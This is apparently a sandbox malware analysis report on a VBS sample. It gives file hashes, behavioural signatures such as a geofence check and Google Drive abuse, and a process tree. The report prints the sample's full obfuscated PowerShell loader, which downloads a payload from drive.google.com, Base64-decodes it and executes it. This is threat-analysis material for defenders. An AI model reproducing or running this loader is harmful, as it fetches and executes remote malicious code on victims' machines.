Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
93s -
max time network
114s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
17/04/2024, 02:08
Static task
static1
Behavioral task
behavioral1
Sample
be6861141aae063bbfe9ff385fdedcbb383b07cbacc2c61bb558a46e0f06bb58.vbs
Resource
win7-20240220-en
Behavioral task
behavioral2
Sample
be6861141aae063bbfe9ff385fdedcbb383b07cbacc2c61bb558a46e0f06bb58.vbs
Resource
win10v2004-20240412-en
General
-
Target
be6861141aae063bbfe9ff385fdedcbb383b07cbacc2c61bb558a46e0f06bb58.vbs
-
Size
361KB
-
MD5
ae55f99323808b2185d1b56d56f6305b
-
SHA1
d043a31f2a1c72cccc49f932f4c41abec7bf003d
-
SHA256
be6861141aae063bbfe9ff385fdedcbb383b07cbacc2c61bb558a46e0f06bb58
-
SHA512
21c6b411b4c14c9d02e58494a47a21aadd61f8ca370f4d90a58c9d4049204e1501d4d94913ed61d69489bb5339e3f11a399b93b987a28046fd3fde74c72447ec
-
SSDEEP
6144:xwKLaVfs2VTA05zBWJKJqDv9WlmDg6bMiaNb3rczF9V4I5Btg/zRoFTC4vSUUkPe:u7InOiRxIl5x
Malware Config
Signatures
-
Blocklisted process makes network request 3 IoCs
flow pid Process 4 1952 WScript.exe 12 3684 powershell.exe 15 3684 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Control Panel\International\Geo\Nation WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 11 drive.google.com 12 drive.google.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3684 powershell.exe 3684 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3684 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1952 wrote to memory of 3684 1952 WScript.exe 83 PID 1952 wrote to memory of 3684 1952 WScript.exe 83 PID 3684 wrote to memory of 3320 3684 powershell.exe 85 PID 3684 wrote to memory of 3320 3684 powershell.exe 85
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\be6861141aae063bbfe9ff385fdedcbb383b07cbacc2c61bb558a46e0f06bb58.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1952 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Sansebedragets = 1;$Ghanesisk='Substrin';$Ghanesisk+='g';Function Gasterosteus($svinkerinde){$overbuild=$svinkerinde.Length-$Sansebedragets;For($Stereoradioen=7; $Stereoradioen -lt $overbuild; $Stereoradioen+=(8)){$Diffusionslinsers+=$svinkerinde.$Ghanesisk.Invoke($Stereoradioen, $Sansebedragets);}$Diffusionslinsers;}function Traeet($Wrizzled){& ($Thyges) ($Wrizzled);}$Smuldet=Gasterosteus 'Unr imbMstedmoroOplysnizdefinitiUnr.bbelIlan brlForbrusa Fremtt/Sundede5 Recurr.Kumenis0 vade t Fejlstr(RewedsuW PistiliAdularenl.ntiskdCleithroDyrkninw PhilolsLymphad Fores Nunpla.aTCurricu pongobl1sa,leld0Tsninge.Tugboat0Uns len; Plural Nyrens,WStt.masi yldresnHaemoth6Pupifor4Fyrstes;Lickert GaiterlxKommand6Selvher4 Pillet;grevers UnmumblrTrafikdvFollcus:Forplig1Israeli2Dif,ere1 Hankel.Undvrli0Udholde) Misc a F amencGSafeguaeInterb.cStorm tkCivilisoG.ntlem/ ackfli2.djutan0B.fingr1retinke0 Chorea0Tragica1.ftegni0Reexcav1Negroid GlaucolFbankledi reptilr EphemeeSalon.nfSlidse.oN.sleabxConnara/Fondsd,1Lygtema2L,kedri1Trstern.Svindsc0Afnakke ';$Indhfte253=Gasterosteus 'upontolU TassarsPansideeOxygenir Afrust-MedeospA.ksekutginexecueG vernmnAlveolat farina ';$Abnerval=Gasterosteus 'Layouteh .mbudst BaakertOccipitpBenedics inageg:Ureter,/Fosse,t/Morrissd Vickisr NonimpiB ldricvUnpoigneKo pera.g,eskabgRosentrogroundloArchspigScollo lSidega,emor,enp.EarthlicIntroduo SpadesmPenetra/Bortlbnu FlyveccIstemek?R,petiteShooingxNon.estpOv.rskuome,termrJugerentpretr.r=FluoryldHendersoOologiewMinisc nMedb,jllUhensigoR tgenbaRasterbd Spille&CuculariAbeyancdS evene=Ugrian 1BlomdecKVarmefrcRivetndZNedgrav9PentatrX DomorgGRabbiniBE,yptolrMishmibBMonoga 4stil.noR ,itadecBituminn Cor macPreexpeXVandcykC aintisCYalelaabIndbrndpCriticibdigitalm FrimndyBassistbdelomraLDerindaKOppriorv A,raabb MartinRFlingenyEma.cidBTo,itruwprenebuBTweetph ';$grcisering=Gasterosteus 'Milli,n>Hurl.le ';$Thyges=Gasterosteus 'IndervgiUrte eee CuyastxKnivafb ';$Brummekorenes = Gasterosteus 'Helsstee RavishcUnravishCalapp oHazanpy Inkwood%DornockaEatsuncpAlanintpRefor.adBoxbushaIllimittMiddelbaGaldest% R,barb\ AntistEChemisecOrganistdybels.r UlderaoantescrdPennigeaGejledecOpdatert non.etyKen sgelErklaeri Ko ogesredaktimInte.ra.FaneblaMChoripeiLedenesc ltrace Helfred& F.jlst&Supplem SamplereP.ritidcSupponwhDkningsoRepursu Fusib.y$ Begrib ';Traeet (Gasterosteus 'Harpesk$FlaglesgskovfollAfgrsnioLeiotrib SuperiaRallyislAn idep:ReinaldlArmekoryReprovemrr.angep Coelhoh Hyp,caoCoalbi,sForsknitRaph,epaCelle ysVa,ideri RivetesNdplans=Modtrks(KommerccUdt knim .orceldTilvkst Termofl/ bro,erchomeoch Bromids$.eregniBgnideb.rC oonesuKapitalmForestamVirksomebretw.lkSeptikto Thre drObservaeSmilacenUnconsieTppebans Afgift)Add.tam ');Traeet (Gasterosteus 'Gr,ndpr$ StenesgUngrayel MetodeopumaernbSte.epaaBlitzlal ,ncage:TabtypeaSpo.tenaChoristbTrontaleagelaiunBestridtMagnetivSvagfrhaEfterslnOtherdodS anonas I.dtrnbunmani y Faaers= Unblig$KommateA Skrdd bKontaktn LigesteSimioidrOsierlivOmbygniaBlokkryl Oldtid. DramamsBerigtip FremmelSubstitiPasseret Unsuff(Kr,emme$SlutspugOs illar UnderscWhisperiSlattersCe.terpendskrigrSen imei Brady n.usannegCamperi)Sadomas ');$Abnerval=$aabentvandsby[0];Traeet (Gasterosteus ' Postgi$Tingsvigretspril Outg,ooBattuecbfemalita HjaltelOverfor: GorgonOB dgetdu IsogentGstel.elRegnesteServiceaVedlgger.taxononcradl,r= efljnNbimpe.eeVikin,ewAfgifts-CannaceO bisquebIdeograjWienerne.orexgrcHud,esatSv.ngla .espectSFaktureyeftervesTwelftht.nalopoeHerniasmBarbe s. Sulk nN Slu nieBromidetYantra,.NeodymiW CompareSchuftebDodge sC fl,raalKarvgsfiHorsehaeC.estfinKdereaktGrovfod ');Traeet (Gasterosteus 'Tubife.$ SnableOBetonhouKnoglemtHaughtilKattepoeTro,seraUkollegrSankthanstyrtf .SemipenHSammenfeskeptika Incarcd Straale Rut,nerUnbothesAzy obr[Glasuld$tinglysIBogkrybnKronik dhamirosh,udiblefPraktictAyesbruetolvton2Stormag5Acrylic3 Divisi]arbejds=Afgifts$EnlargeSEfflresmKrmmereuDiskrimlPartikudYou.care Pant atForrang ');$Freen=Gasterosteus 'Nbcbor,OGenlivmuMult chtBirummelEnkeltpehypnoseaBordherrLeptothnFestmid.Syn.tigD,urifexoAfgrsniwmod.stenAfgr lslKommandoOutbleaaServiced Metho FRe ikteiIllusibl DetaileSliphal(Citrons$Pro ogrAMi.setsbU.dtogtnShovel.eInflexirFold oav MaltesaSp,rtstlfar eta, aramba$Man icaPOpserveaFlere.alHandskelDedesnoeSammenhdKom.andeDissona)Cibaria ';$Freen=$lymphostasis[1]+$Freen;$Pallede=$lymphostasis[0];Traeet (Gasterosteus ' uckibu$ SumenhgJordvrdlVid.obroAfkryd,b LuftvraIstandslOct.hed: CodeveT orlagoBuckerotDete,miaAm.nodilTarerins Te.msty BarrabsNailysttStraahaeSh malsmStrafraeOdourlerSepticinSnavsete Pundit= Hoflev(MedaljeT AfkorteSu.erads NaturitMargar.-Withi vP ummepa KamceetLacqueyhPostall Mondner$WhitepoP U.schianucleuslTientsil OutwiseMegametdDehydreeUa.lade)Chymeud ');while (!$Totalsystemerne) {Traeet (Gasterosteus 'slagord$gnis,spgTaljerilTracfn,oLuciliab,olygona addleslBlaatry:Doks.niU BornhonPrci,errDel,gereAliptteaEmersedsBuzzgloo DepresnGumf.eleIndfreldZonule 1D.centr4Apodema6Roleofo=Affdtem$TokronetUncupperCo.lbaguBdetakseBiogeog ') ;Traeet $Freen;Traeet (Gasterosteus 'Fac nglSAskepottSidelinaorkanerrR,refactLumbr c- GammelS Boutell SinapieMyst,queDogg.elpBorgme Afte wo4Church ');Traeet (Gasterosteus 'Breeche$ Aeromagtap.ehalSkeltonoTuxesflbWirelesaAfficerlNoncred:Ch.roptT HepatioMindelutDelikataB,idleslByna,nes efineyla.hemas ferritt Offsetevilia.smForkueleChlorinr,xsiccanSadomaseCor gen=Unsplit(GrammatTGavlhuseLachrymsDowntowtCounter-NaverboPM.ljbesaVelsesltProroguh Tokom Tidsvrd$ Aspir,PStamhusaAmbassalOplevedlVievan,e AmagerdIncisioeSlumres)missive ') ;Traeet (Gasterosteus ' Overes$udaan,igPantomel Memb,aoTandclabFehaareaR,nownelHaandev:stdtropAMegalerpNonesuceBalladrrC,emmint Perisp2 freu i1Palaeo,1Sa mens=Sexforb$Bissekrg Undem l Cymousoseem.rsbResteriaSamlevelOlefian: ArlasfEUnremitv,aggersaRolle.alProtot dPhelonisCharact+Nonprol+Masses,%Himatio$St.nhugaNo,connaK,nmiutbSnitta.ekoenindn,grestit TorsdavPrisindaValdemanRecivildPrsenspsVokskabbPolygamy Sygeb,..aiadalcTtysvrtosemiferuUde aernFdrelantTourtmi ') ;$Abnerval=$aabentvandsby[$Apert211];}Traeet (Gasterosteus 'Neopla,$ Magn.tgmyr,ngelCitizenoSpr grebfodermia Tulsiel Stedmo:.ammenhEmandor,nTryforfcSmuglero Sp ashm ,arfleiEpitafieMisquotn Una,cedRoseudtaraamatesImpecu. Flakker=Besudle FjerdepGColona.e UratomtNedprio-e,silerC ,ortrioVandtryn Brynj.tOverbakeTwentymnGes,urat Torl.i Sinecur$RvetapaPumyndigaKunosgrlInfrahyl .retrce Flu.sydAppretee Compar ');Traeet (Gasterosteus 'Kompagn$AconuregFreskomlMistendoMyzo,tobdanburya goni.slLaps.on:KelingyPPreorgaobrainstdInd lytaHakkebrl BocheriShinilyc Doohin malkema= Secern Defen,a[DhoorasSDisembaykvidistsBypla ltVitrioleDecubitmNon.las.Dineu,rCgennemkoTrallern oreimpvGafledeeStyrep.rteltslatUnrecko] Infide: Belysn:AltsaxoFStikflarKise.hooUnindusmH,matomBWhirrooa BnkerasUnsymmee,ncredi6Immorti4Pulvil,SFjendtltOutdater Bone riPelsdyrnPree ptgMilieuo( Stetho$advarseETidsprinRappen.cformedeoHyllep.mStoma hiSuperineFamilien.rupprpd antrusaWinds.rsSad.elt)Pulpitl ');Traeet (Gasterosteus 'Varmefy$IndlandgVirialslte minooTar iesb Underga A,onnelHumo.ri: KanalvSChilenst Skansei StargrkGeda keo Okays rAbnormidJollit e,drenaltVivanstsInforma Uncle,r=Dentipa Compl.[UnpreteS vaabenyTennisfsKnivsmetNap leoe andhanmMiljomr.Beli.geTInquilieTr.mperxIndigentlawsone. F.lderELex,caunBerigtic MonadioBiscuitdHarmoneiPratiqunHemmelig Over r]Partrid:A poggi:UenigerAUgideliSOpd.terCSrverskIChe.kinIEfter,d. SalariGtilsagde TangletDekuperSMedik.mt Needsmr LukreriAllemannTr.nsligInd sia(Mattere$FikseacPBeskudtoAbstrakdSphaeriaFderal.lGett bli Surficckampvog)Dialakt ');Traeet (Gasterosteus 'anticig$B.mareagHyleriel Fr.trdoBhut.vibfortjenaSlievovlRidotto:AffdejaOUnderslvLineniseShuntv.rU midigmDehor so Teks,prStrobosaAdin tylsekun ai TwistesCuckoldtKern.daiRund,ngcSpndesk=Krabb.n$SmmestiSVekselvtTheophiioverspakMirsasbohenholdrC,mpedrdse ianieforlb ttCentra.sUdlodre.Ondskabsgespensu Ri,efobBinomiasPharyngtP,oevekrMiljak,iHengavnnVlgernegDriftsb(Geratyt3Cl,bfis2Kardina8P,intke2 Para f1 Enspnd2U.licen,,jforrd3Slagteb0Omni,oq1Omsta,n4Uninocu7Antipy )Gelatin ');Traeet $Overmoralistic;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3684 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ectrodactylism.Mic && echo $"3⤵PID:3320
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
7KB
MD5fbb578f8128ac6d7843b0a28cd1d1fe2
SHA164129cd6657c88413cf2ce62ff4ebdf9e106e9ab
SHA2567cfc23d47e625cffa90afbb28ac41a64cb18889330c432590479621358ac0fbb
SHA512991a0f2bcbee1b114a3473e3958a7193d4d1be65d98b7a42fb08d4a846faec47ac557ab9183cb101a08085a461c0b50e972fffe2cf6ab4cf8877fbf8f399c81b